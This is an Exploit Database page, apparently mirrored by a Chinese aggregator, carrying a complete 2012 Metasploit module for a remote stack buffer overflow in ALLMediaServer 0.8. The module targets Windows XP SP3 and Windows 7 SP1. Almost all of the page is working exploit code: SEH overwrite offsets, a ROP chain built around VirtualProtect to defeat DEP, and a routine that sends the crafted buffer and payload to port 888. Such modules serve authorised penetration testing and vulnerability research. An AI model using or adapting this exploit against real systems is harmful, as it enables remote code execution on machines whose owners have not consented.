ALLMediaServer 0.8 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2012-07-16
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/19857/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'ALLMediaServer 0.8 Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a stack buffer overflow in ALLMediaServer 0.8.
  				The vulnerability is caused due to a boundary error within the
  				handling of HTTP request.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'motaz reda <motazkhodair[at]gmail.com>',	# Original discovery
  					'modpr0be <tom[at]spentera.com>',	# Metasploit module
  					'juan vazquez' # More improvement
  				],
  			'References' =>
  				[
  					[ 'EDB', '19625' ]
  				],
  			'DefaultOptions' =>
  				{
  					'ExitFunction' => 'process', #none/process/thread/seh
  				},
  			'Platform' => 'win',
  			'Payload'=>
  				{
  					'BadChars' => "",
  					'Space' => 660,
  					'DisableNops' => true
  				},
  
  			'Targets'=>
  				[
  					[ 'ALLMediaServer 0.8 / Windows XP SP3 - English',
  						{
  							'Ret' =>	0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
  							'OffsetRop' =>	696,
  							'jmp' =>	264,
  							'Offset'=>	1072
  						}
  					],
  					[ 'ALLMediaServer 0.8 / Windows 7 SP1 - English',
  						{
  							'Ret' =>	0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
  							'OffsetRop' =>	332,
  							'jmp' =>	628,
  							'Offset'=>	1072
  						}
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Jul 04 2012',
  			'DefaultTarget'=> 1))
  
  		register_options([Opt::RPORT(888)], self.class)
  
  	end
  
  	def junk(n=1)
  		return [rand_text_alpha(4).unpack("L")[0]] * n
  	end
  
  	def nops(rop=false, n=1)
  		return rop ? [0x665a0aa1] * n : [0x90909090] * n
  	end
  
  	def asm(code)
  		Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string
  	end
  
  	def exploit
  		#with help from mona :)
  		rop = [
  			nops(true, 12),#ROP NOP
  			0x65f6faa7,# POP EAX # RETN
  			0x671ee4e0,# ptr to &VirtualProtect()
  			0x6ac1ccb4,# MOV EAX,DWORD PTR DS:[EAX] # RETN
  			0x667ceedf,# PUSH EAX # POP ESI # POP EDI # RETN
  			junk,
  			0x65f5f09d,# POP EBP # RETN
  			0x65f9830d,# & call esp
  			0x6ac1c1d5,# POP EBX # RETN
  			0x00000600,# 0x00000320-> ebx
  			0x6672a1e2,# POP EDX # RETN
  			0x00000040,# 0x00000040-> edx
  			0x665a09df,# POP ECX # RETN
  			0x6ad58a3d,# &Writable location
  			0x6ac7a771,# POP EDI # RETN
  			nops(true),# RETN (ROP NOP)
  			0x6682f9f4,# POP EAX # RETN
  			nops,# nop
  			0x663dcbd2 # PUSHAD # RETN
  		].flatten.pack("V*")
  
  		connect
  
  		buffer = rand_text(target['OffsetRop'])	#junk
  		buffer << rop
  		buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload
  		buffer << rand_text(target['Offset'] - buffer.length)
  		buffer << generate_seh_record(target.ret)
  		buffer << payload.encoded
  
  		print_status("Sending payload to ALLMediaServer on #{target.name}...")
  		sock.put(buffer)
  
  		disconnect
  
  	end
  end